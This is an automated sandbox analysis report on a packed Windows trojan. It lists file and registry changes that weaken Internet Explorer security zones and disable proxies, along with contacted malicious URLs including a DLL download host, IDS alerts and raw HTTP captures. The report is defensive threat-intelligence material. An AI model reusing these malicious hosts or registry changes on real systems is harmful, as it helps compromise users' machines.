MD5: f078ae31b6f9304495456042904535f0
SHA1: 3d90262269ce22c45e5440532c9600613bac2375
SHA256: 857bf471cf969443d739a91f0df665b50041ccf0bbff2a223d3a296ec0b5e947
SSDeep: 12288:E1khEYGha2bqs/zdSPe5h8yaoTmXAdyBmzErRcNW 6y7vkH:E1gr2n/zdSzGTmw8ozWr 6E8H
Size: 583936 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: PECompactV2X, PECompactv20, UPolyXv05_v6
Company: no certificate found
Created at: 2015-06-12 12:10:35
Analyzed on: WindowsXP SP3 32-bit

Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):
No processes have been created.
The Trojan injects its code into the following process(es):

%original file name%.exe:580

Mutexes

The following mutexes were created/opened:

__DDrawCheckExclMode__
DDrawWindowListMutex
__DDrawExclMode__
DDrawDriverObjectListMutex
CTF.TMD.MutexDefaultS-1-5-21-1844237615-1960408961-1801674531-1003
CTF.Layouts.MutexDefaultS-1-5-21-1844237615-1960408961-1801674531-1003
CTF.Asm.MutexDefaultS-1-5-21-1844237615-1960408961-1801674531-1003
CTF.Compart.MutexDefaultS-1-5-21-1844237615-1960408961-1801674531-1003
CTF.LBES.MutexDefaultS-1-5-21-1844237615-1960408961-1801674531-1003
ShimCacheMutex
_!MSFTHISTORY!_
DBWinMutex
c:!documents and settings!adm!cookies!
c:!documents and settings!adm!local settings!history!history.ie5!
WininetConnectionMutex
WininetStartupMutex
WininetProxyRegistryMutex
RasPbFile
c:!documents and settings!adm!local settings!temporary internet files!content.ie5!
oleacc-msaa-loaded
ZonesLockedCacheCounterMutex
ZonesCacheCounterMutex
ZonesCounterMutex

File activity

The process %original file name%.exe:580 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\style[1].css (5083 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\loadingBar[1].gif (14792 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\popup-2[1].png (15787 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\msjava[1].dll (465777 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\i-download[1].png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\progress-bar[1].png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\style[1].css (114 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
%System%\wbem\Logs\wbemprox.log (225 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\loading-install[1].gif (7 bytes)

Registry activity

The process %original file name%.exe:580 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache]
"@xpsp3res.dll,-20001" = "Diagnose Connection Problems..."

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "%original file name%.exe"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1B 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1434100235"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "9C 8C A4 E7 15 B6 93 D0 27 D0 CF 59 C8 B5 F9 79"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Program Files%\Internet Explorer]
"iexplore.exe" = "Internet Explorer"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

Dropped PE files

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

No information is available.

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL	IP
hxxp://api.4magno.com/	52.26.100.223
hxxp://api.4magno.com/d5/msjava.dll	52.26.100.223
hxxp://api.4magno.com/?ctrak3.2.617=c_Start_Application	52.26.100.223
hxxp://api.4magno.com/11ccd1485d2b5c3ec888887aea668e2818eade9acc25b23e429d0e6e36942822bd99c6d9533e737cd64bc7a97e72a3999bd98c140ac534df6e4df7dedc109875ae695511bdbbb73779c054747274cadbf001cd9e04676455	52.26.100.223
hxxp://api.4magno.com/maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/style.css	52.26.100.223
hxxp://api.4magno.com/__maxpower__/render_template/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab?language_code=en	52.26.100.223
hxxp://api.4magno.com/maxpower-static/apps/ad/10514/css/style.css	52.26.100.223
hxxp://api.4magno.com/__maxpower__/render_screen/2014/11/8b9c3fb4-73d0-11e4-925e-06a3579b0dab/screen_variation=videoUpdater	52.26.100.223
hxxp://api.4magno.com/maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/images/i-download.png	52.26.100.223
hxxp://api.4magno.com/maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/images/loading-install.gif	52.26.100.223
hxxp://www.4magno.com/BesH3gE9/pop-up/	54.213.71.128
hxxp://api.4magno.com/maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/images/progress-bar.png	52.26.100.223
hxxp://api.4magno.com/maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/images/loadingBar.gif	52.26.100.223
hxxp://www.4magno.com/lpresources/js/linkv2.js	54.213.71.128
hxxp://www.4magno.com/lpresources/js/ainj.js	54.213.71.128
hxxp://www.4magno.com/lpresources/js/dlStoragev1.js	54.213.71.128
hxxp://www.4magno.com/mh/53a811d55f1c1e744b000002/2307c835-660a-4bd8-a3df-031d9af89e85/53a811d55f1c1e744b000002/default/media/js/jquery-1.11.1.min.js	54.213.71.128
hxxp://n149adserv.com/js/show_ads.js	212.124.115.203
hxxp://n149adserv.com/ads-sync.js?v=1&key=8807bef3df789cfc967df2f12545a152&ch=&click=&tz=3&t=1435386900233&requestUrl=http://www.4magno.com/BesH3gE9/pop-up/&requestRef=&flashVer=11.6 r602&scrWidth=1276&scrHeight=846&cIds=	212.124.115.203
hxxp://n149adserv.com/impression.gif?b=778&p=27&ch=&ap=&cps=&c=76&l=UA&h=acf77f38e46b2eec6d48af61483c53a7&t=1435386900608&s=88e677139c8e9259de87bcfd5c00ea5f	212.124.115.203
hxxp://onclickads.net/afu.php?zoneid=313275	78.140.191.90
hxxp://onclickads.net/?r=/mb/han&zoneid=313275&pbk2=b7fc860c4c03d10b441242507f521cc56164939759668494029&saved_referer=&adparams=bm9qcz0w&x=1256&y=693	78.140.191.90
hxxp://parimatch1.iaoffers.com/processing/clickthrgh.asp?btag=a_3963b_382&aid=313275
hxxp://start.parimatchru.com/coefficients/?btag=a_3963b_382c_313275
hxxp://start.parimatchru.com/coefficients/css/foundation.css
hxxp://start.parimatchru.com/coefficients/css/style.css
hxxp://start.parimatchru.com/coefficients/js/vendor/modernizr.js
hxxp://start.parimatchru.com/coefficients/img/bg.jpg
hxxp://googleadapis.l.google.com/css?family=Roboto Condensed:400,700&subset=latin,cyrillic-ext
hxxp://googleadapis.l.google.com/css?family=PT Sans Narrow:400,700&subset=latin,cyrillic-ext
hxxp://start.parimatchru.com/coefficients/js/vendor/jquery.js
hxxp://gstaticadssl.l.google.com/s/ptsansnarrow/v7/UyYrYy3ltEffJV9QueSi4d5kJAigf8vrkD0Igp6RW6o.eot
hxxp://gstaticadssl.l.google.com/s/robotocondensed/v13/Zd2E9abXLFGSr9G3YK2MsD47Evg4fep0_Xvy-OOywHY.eot
hxxp://start.parimatchru.com/coefficients/img/colorful/img-14.png
hxxp://start.parimatchru.com/coefficients/img/colorful/img-13.png
hxxp://start.parimatchru.com/coefficients/img/colorful/img-11.png
hxxp://start.parimatchru.com/coefficients/img/colorful/img-10.png
hxxp://start.parimatchru.com/coefficients/img/colorful/img-9.png
hxxp://start.parimatchru.com/coefficients/img/colorful/img-1.png
hxxp://start.parimatchru.com/coefficients/img/colorful/img-2.png
hxxp://start.parimatchru.com/coefficients/img/colorful/img-3.png
hxxp://start.parimatchru.com/coefficients/img/colorful/img-4.png
hxxp://start.parimatchru.com/coefficients/img/colorful/img-5.png
hxxp://start.parimatchru.com/coefficients/img/colorful/img-6.png
hxxp://start.parimatchru.com/coefficients/img/colorful/img-7.png
hxxp://start.parimatchru.com/coefficients/img/colorful/img-8.png
hxxp://start.parimatchru.com/coefficients/img/colorful/img-17.png
hxxp://start.parimatchru.com/coefficients/img/colorful/img-16.png
hxxp://start.parimatchru.com/coefficients/img/colorful/img-15.png
hxxp://start.parimatchru.com/coefficients/img/colorful/img-12.png
hxxp://start.parimatchru.com/coefficients/img/logo.png
hxxp://start.parimatchru.com/coefficients/img/f-1.png
hxxp://start.parimatchru.com/coefficients/img/f-2.png
hxxp://start.parimatchru.com/coefficients/img/f-3.png
hxxp://start.parimatchru.com/coefficients/img/f-4.png
hxxp://start.parimatchru.com/coefficients/js/foundation.min.js
hxxp://start.parimatchru.com/coefficients/img/loyal-img-1.png
hxxp://start.parimatchru.com/coefficients/img/loyal-img-2.png
hxxp://start.parimatchru.com/coefficients/img/loyal-img-3.png
hxxp://parimatch.com/syncc.html?btag=a_3963b_382c_313275	149.91.84.3
hxxp://start.parimatchru.com/syncc.html?btag=a_3963b_382c_313275
hxxp://ruparimatch.com/syncc.html?btag=a_3963b_382c_313275	141.101.125.33
hxxp://parimatch.kz/syncc.html?btag=a_3963b_382c_313275	149.91.84.6
hxxp://start.ruparimatch.com/coefficients/?btag=a_3963b_382c_313275	198.41.249.162
hxxp://start.ruparimatch.com/coefficients/img/loyal-img-1.png	198.41.249.162
hxxp://start.ruparimatch.com/coefficients/img/colorful/img-9.png	198.41.249.162
hxxp://start.ruparimatch.com/coefficients/img/colorful/img-13.png	198.41.249.162
hxxp://fonts.gstatic.com/s/ptsansnarrow/v7/UyYrYy3ltEffJV9QueSi4d5kJAigf8vrkD0Igp6RW6o.eot	216.58.209.195
hxxp://start.ruparimatch.com/coefficients/img/colorful/img-11.png	198.41.249.162
hxxp://start.ruparimatch.com/coefficients/img/colorful/img-5.png	198.41.249.162
hxxp://start.ruparimatch.com/coefficients/js/foundation.min.js	198.41.249.162
hxxp://fonts.gstatic.com/s/robotocondensed/v13/Zd2E9abXLFGSr9G3YK2MsD47Evg4fep0_Xvy-OOywHY.eot	216.58.209.195
hxxp://start.ruparimatch.com/coefficients/img/colorful/img-4.png	198.41.249.162
hxxp://start.ruparimatch.com/coefficients/img/colorful/img-17.png	198.41.249.162
hxxp://start.ruparimatch.com/coefficients/img/colorful/img-10.png	198.41.249.162
hxxp://fonts.googleapis.com/css?family=Roboto Condensed:400,700&subset=latin,cyrillic-ext	64.233.166.95
hxxp://parimatchru.com/syncc.html?btag=a_3963b_382c_313275	162.159.240.163
hxxp://start.ruparimatch.com/coefficients/img/colorful/img-16.png	198.41.249.162
hxxp://start.ruparimatch.com/coefficients/img/colorful/img-12.png	198.41.249.162
hxxp://start.ruparimatch.com/coefficients/img/colorful/img-7.png	198.41.249.162
hxxp://start.ruparimatch.com/coefficients/img/loyal-img-3.png	198.41.249.162
hxxp://partners.parimatch.com/processing/clickthrgh.asp?btag=a_3963b_382&aid=313275	78.24.211.202
hxxp://start.ruparimatch.com/coefficients/img/logo.png	198.41.249.162
hxxp://start.ruparimatch.com/coefficients/js/vendor/modernizr.js	198.41.249.162
hxxp://start.ruparimatch.com/coefficients/img/colorful/img-3.png	198.41.249.162
hxxp://start.ruparimatch.com/coefficients/img/colorful/img-6.png	198.41.249.162
hxxp://start.ruparimatch.com/coefficients/css/style.css	198.41.249.162
hxxp://start.ruparimatch.com/coefficients/img/colorful/img-14.png	198.41.249.162
hxxp://fonts.googleapis.com/css?family=PT Sans Narrow:400,700&subset=latin,cyrillic-ext	64.233.166.95
hxxp://start.ruparimatch.com/coefficients/img/colorful/img-8.png	198.41.249.162
hxxp://start.ruparimatch.com/coefficients/img/f-2.png	198.41.249.162
hxxp://www.parimatch.kz/syncc.html?btag=a_3963b_382c_313275	149.91.84.6
hxxp://start.ruparimatch.com/coefficients/img/f-4.png	198.41.249.162
hxxp://start.ruparimatch.com/coefficients/img/f-3.png	198.41.249.162
hxxp://start.ruparimatch.com/coefficients/img/f-1.png	198.41.249.162
hxxp://start.ruparimatch.com/coefficients/img/loyal-img-2.png	198.41.249.162
hxxp://start.ruparimatch.com/coefficients/img/colorful/img-1.png	198.41.249.162
hxxp://start.ruparimatch.com/coefficients/img/colorful/img-2.png	198.41.249.162
hxxp://static.4magno.com/d5/msjava.dll	54.186.54.150
hxxp://start.ruparimatch.com/coefficients/js/vendor/jquery.js	198.41.249.162
hxxp://www.parimatch.com/syncc.html?btag=a_3963b_382c_313275	149.91.84.3
hxxp://start.ruparimatch.com/coefficients/css/foundation.css	198.41.249.162
hxxp://start.ruparimatch.com/coefficients/img/bg.jpg	198.41.249.162
hxxp://start.ruparimatch.com/coefficients/img/colorful/img-15.png	198.41.249.162
s.ytimg.com	216.58.209.206
lh6.googleusercontent.com	216.58.209.193
www.youtube.com	216.58.209.206
staticrr.mixvideoplayer.com	85.12.5.2
www.google.com	216.58.209.196
ssl.google-analytics.com	216.58.209.168
i.ytimg.com	216.58.209.206

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET TROJAN Suspicious User-Agent (Session) - Possible Trojan-Clicker
ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected
ET TROJAN VMProtect Packed Binary Inbound via HTTP - Likely Hostile

Traffic

GET /maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/images/i-download.png HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: api.4magno.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: image/png

Date: Sat, 27 Jun 2015 06:34:49 GMT

ETag: "54f07a01-599"

Last-Modified: Fri, 27 Feb 2015 14:06:57 GMT

Server: nginx

Content-Length: 1433

Connection: keep-alive
.PNG........IHDR...*...*.....J.^.....tEXtSoftware.Adobe ImageReadyq.e&
lt;...$iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Macintosh)" xmpMM:InstanceID="xmp.iid:24FEED836BEF11E4901AB7
B77D879212" xmpMM:DocumentID="xmp.did:24FEED846BEF11E4901AB7B77D879212
"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:24FEED816BEF11E4
901AB7B77D879212" stRef:documentID="xmp.did:24FEED826BEF11E4901AB7B77D
879212"/> </rdf:Description> </rdf:RDF> </x:xmpmeta&
gt; <?xpacket end="r"?>lW1.....IDATx.b|[email protected]...#...k..
...!..T?.&..}_......{....`..?....{..z...'..a..C*....'V.....&VV"M...eWT
...{..X...b..\\.M.LHP.:..0.v..9..?.>.W.......ax....X...MM.........~
.xA.d....".nTT............/w..c,...!.....\T..;w.Z.......D.K......O....
G.......E..$X.D...9..../......K..$...JD.CF_............>.......Lc.f
.U.$.7.NqJK...".....|}.<|[email protected]..^.T.......d.....9
8.>..w RNK.*....C.._.<..q.....mX.)...?..D.l!.{<...7o......\..
......W.....^.|,?..v.;p.B..B..r..d.~B.........X%....b-<..c {9.Im.O.
.........Z?l...v\. ...F.0_B.5....IEND.B`.....
<<< skipped >>>

GET /maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/images/progress-bar.png HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: api.4magno.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: image/png

Date: Sat, 27 Jun 2015 06:34:49 GMT

ETag: "54f07a08-570"

Last-Modified: Fri, 27 Feb 2015 14:07:04 GMT

Server: nginx

Content-Length: 1392

Connection: keep-alive
.PNG........IHDR...|.........L.......tEXtSoftware.Adobe ImageReadyq.e&
lt;...$iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Macintosh)" xmpMM:InstanceID="xmp.iid:15582AE06BF411E4901AB7
B77D879212" xmpMM:DocumentID="xmp.did:15582AE16BF411E4901AB7B77D879212
"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:24FEED896BEF11E4
901AB7B77D879212" stRef:documentID="xmp.did:24FEED8A6BEF11E4901AB7B77D
879212"/> </rdf:Description> </rdf:RDF> </x:xmpmeta&
gt; <?xpacket end="r"?>[email protected]~:52u.....,.g...e.
.<..l..F...|.E.....G....n..g......V..v.^.C..?... .........k..Bc.Y.V
....._....E.(...T.eR...`yn..i.{t...-{tB..{\5......y..s..4kyn<=\5.KV
:......u..l..QK.)z.n.........c......\....N.=EG..w..^.Xh......~....w...
>..S.dy.H.$5.@.^o..........t...5.N|...>....3..H.....(.3..`Ft....
......y..~8^...1OC..x....it&W@it..."..=^MV..WA.$.....W...D6.....v.y...
....Pis..2.W:..^..........-.lx>P......3$CR...}.<..5*......f,vl]c
.i...k...xN.|>o6......P......z..p8..cv.....o.....&..m.c....IEND.B`.
..
<<< skipped >>>

GET /processing/clickthrgh.asp?btag=a_3963b_382&aid=313275 HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*

Referer: hXXp://onclickads.net/afu.php?zoneid=313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: partners.parimatch.com

Connection: Keep-Alive

HTTP/1.1 301 Moved Permanently

Cache-Control: no-store, no-cache, must-revalidate,post-check=0, pre-check=0,no-cache

Pragma: no-cache

Content-Length: 0

Content-Type: text/html

Expires: Sat, 27 Jun 2015 06:33:21 GMT

Location: hXXp://start.ruparimatch.com/coefficients/?btag=a_3963b_382c_313275

Server: Microsoft-IIS/7.5

p3p: CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"

Set-Cookie: exbtag=mid1=YV8zOTYzYl8zODJ8MzEzMjc1; expires=Fri, 25-Sep-2015 06:34:20 GMT; domain=partners.parimatch.com; path=/

Set-Cookie: btag=a_3963b_382; expires=Fri, 25-Sep-2015 06:34:20 GMT; domain=partners.parimatch.com; path=/

Set-Cookie: ASPSESSIONIDSQBCBSCB=AHALHLFCCLLAPHKPALEDNOAD; path=/

X-Powered-By: ASP.NET

Date: Sat, 27 Jun 2015 06:34:20 GMT
HTTP/1.1 301 Moved Permanently..Cache-Control: no-store, no-cache, mus
t-revalidate,post-check=0, pre-check=0,no-cache..Pragma: no-cache..Con
tent-Length: 0..Content-Type: text/html..Expires: Sat, 27 Jun 2015 06:
33:21 GMT..Location: hXXp://start.ruparimatch.com/coefficients/?btag=a
_3963b_382c_313275..Server: Microsoft-IIS/7.5..p3p: CP="NOI DSP CURa A
DMa DEVa TAIa OUR BUS IND UNI COM NAV INT"..Set-Cookie: exbtag=mid1=YV
8zOTYzYl8zODJ8MzEzMjc1; expires=Fri, 25-Sep-2015 06:34:20 GMT; domain=
partners.parimatch.com; path=/..Set-Cookie: btag=a_3963b_382; expi
res=Fri, 25-Sep-2015 06:34:20 GMT; domain=partners.parimatch.com; path
=/..Set-Cookie: ASPSESSIONIDSQBCBSCB=AHALHLFCCLLAPHKPALEDNOAD; path=/.
.X-Powered-By: ASP.NET..Date: Sat, 27 Jun 2015 06:34:20 GMT..

GET /maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/images/loading-install.gif HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: api.4magno.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: image/gif

Date: Sat, 27 Jun 2015 06:34:49 GMT

ETag: "54f07a03-1ef8"

Last-Modified: Fri, 27 Feb 2015 14:06:59 GMT

Server: nginx

Content-Length: 7928

Connection: keep-alive
GIF89a..........DCD...:::.........qqq............555...zzziii}}}......
.........aaaQQQeee...%%%.........VVV...lll...............,,,...YYY...)
))...uuuJJJNNN!"!...]]]...101.................................\[\.....
....#$#KLK.../0/KKK[\[`_`...GGG'''...???............///......ccc...sss
ddd```...###.........SSS...777...VVV...888...xxx...............{|{{{{g
hg............kmk444XXX......OOOWWW...222...333!..NETSCAPE2.0.....!..X
MP DataXMP<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c01
1 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http:
//ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/s
Type/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Macintosh)" x
mpMM:InstanceID="xmp.iid:C7B15D6E6C0511E4901AB7B77D879212" xmpMM:Docum
entID="xmp.did:C7B15D6F6C0511E4901AB7B77D879212"> <xmpMM:Derived
From stRef:instanceID="xmp.iid:C7B15D6C6C0511E4901AB7B77D879212" stRef
:documentID="xmp.did:C7B15D6D6C0511E4901AB7B77D879212"/> </rdf:D
escription> </rdf:RDF> </x:xmpmeta> <?xpacket end="r
"?>................................................................
..................................................................~}|{
zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;
:9876543210/.-, *)('&%$#"! .................................!.....
<<< skipped >>>

GET /maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/images/loadingBar.gif HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: api.4magno.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: image/gif

Date: Sat, 27 Jun 2015 06:34:49 GMT

ETag: "54f07a05-12d72"

Last-Modified: Fri, 27 Feb 2015 14:07:01 GMT

Server: nginx

Content-Length: 77170

Connection: keep-alive
GIF89a|..............................c........"..y..4.....H.....i.....
/..1..2.....M.....W...........v...........-..u........0..1.. ..... ...
.....*.....!.....*.....,..{........z..s.....5........&.."..(..(..,..2.
.4..8..).. ..u..... ..$.....z..m...........*......../..*.....,........
...4..".....%..'.. ..............%........(../..............!.........
.....8.....&..3.....)..... ../........%..4.....!..NETSCAPE2.0.....!..X
MP DataXMP<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c01
